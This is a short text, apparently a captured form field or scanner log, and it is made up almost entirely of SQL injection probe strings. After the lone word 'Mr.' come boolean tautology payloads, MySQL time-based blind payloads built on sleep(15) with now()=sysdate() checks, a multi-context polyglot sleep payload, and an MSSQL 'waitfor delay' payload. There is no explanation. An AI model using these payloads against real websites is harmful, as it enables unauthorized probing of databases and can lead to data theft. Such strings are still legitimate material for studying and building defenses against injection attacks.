Mr.

-1' OR 2+579-579-1=0+0+0+1 or 'T0IzTXHZ'='

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1" OR 2+571-571-1=0+0+0+1 --

-1" OR 2+955-955-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

if(now()=sysdate(),sleep(15),0)

if(now()=sysdate(),sleep(15),0)

-1; waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z